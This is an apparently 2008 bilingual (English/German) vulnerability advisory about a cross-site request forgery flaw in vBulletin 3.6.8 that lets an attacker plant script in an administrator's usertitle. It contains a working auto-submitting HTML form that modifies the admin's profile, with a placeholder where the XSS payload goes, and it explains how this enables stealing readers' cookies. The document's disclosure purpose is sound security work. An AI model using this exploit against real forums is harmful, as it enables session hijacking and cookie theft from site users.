################################################## #############
Autor: NBBN
=46ounded: 5, January 2008
vBulletin Version: 3.6.8 Patch Level x and possible lower
Type: XSRF/XSS=20
Risk: Medium
################################################## #############

##Explanation(english)##

My english is bad, but I try :-) . vBulletin 3.6.8 is XSRF vulnurable.=20
Administrators can use html in there own usertitle.=20
An attacker can update the profile of an administrator by sending a link t=
o a=20
site with a code like this:


<html>
<head></head>
<body onLoad=3Djavascript:document.form.submit()>

<form action=3D"http://domain.tld/[path]/vBulletin/profile.php?do=3Dupdatep=
rofile"=20
method=3D"POST" name=3D"form">

<input type=3D"hidden" name=3D"s" value=3D"">
<input type=3D"hidden" name=3D"do" value=3D"updateprofile">
<input type=3D"hidden" name=3D"customtext" value=3D"###########XSS CODE####=
#####">=20
<!-- Attacker's XSS Code -->
<input type=3D"hidden" name=3D"month" value=3D"-1">
<input type=3D"hidden" name=3D"day" value=3D"-1">
<input type=3D"hidden" name=3D"year" value=3D"">
<input type=3D"hidden" name=3D"oldbirthday" value=3D"">
<input type=3D"hidden" name=3D"showbirthday" value=3D"2">
<input type=3D"hidden" name=3D"homepage" value=3D"">
<input type=3D"hidden" name=3D"icq" value=3D"">
<input type=3D"hidden" name=3D"aim" value=3D"">
<input type=3D"hidden" name=3D"msn" value=3D"">
<input type=3D"hidden" name=3D"yahoo" value=3D"">
<input type=3D"hidden" name=3D"skype" value=3D"">
</form>
</body>
</html>

If an attacker send a link in a pm for example, to the admin with a site=
=20
like the example code, the admin's usertitle updating and have a the code o=
f=20
the attacker.The code executing if the admin have a post done in a thread=
=20
etc. An attacker can use this to steal the cookie of all user's who are=20
reading the thread.


##Explanation(Deutsch/German)##:

In vBulletin 3.6.8 gibt es eine XSRF L=FCcke, die dazu benutzt werden kann,=
um=20
XSS Code auszuf=FChren. Admins k=F6nnen in ihren eigenen Benutzerrang HTML =
Code=20
verwenden. Das kann ein Angreifer ausnutzen um beliebigen html/javascript=20
code auszuf=FChren, wenn er den oben stehenden code in eine Seite packt und=
=20
dann dem Admin eine Private Nachricht sendet, mit einem Link zu einer Seite=
=20
mit dem obigen HTML-Code. Somit ist es dem Angreifer m=F6glich, alle Cookie=
s=20
von den Benutzern zu klauen, die gerade einen Thread lesen,in welchem ein=20
Administrator gepostet hat.

=20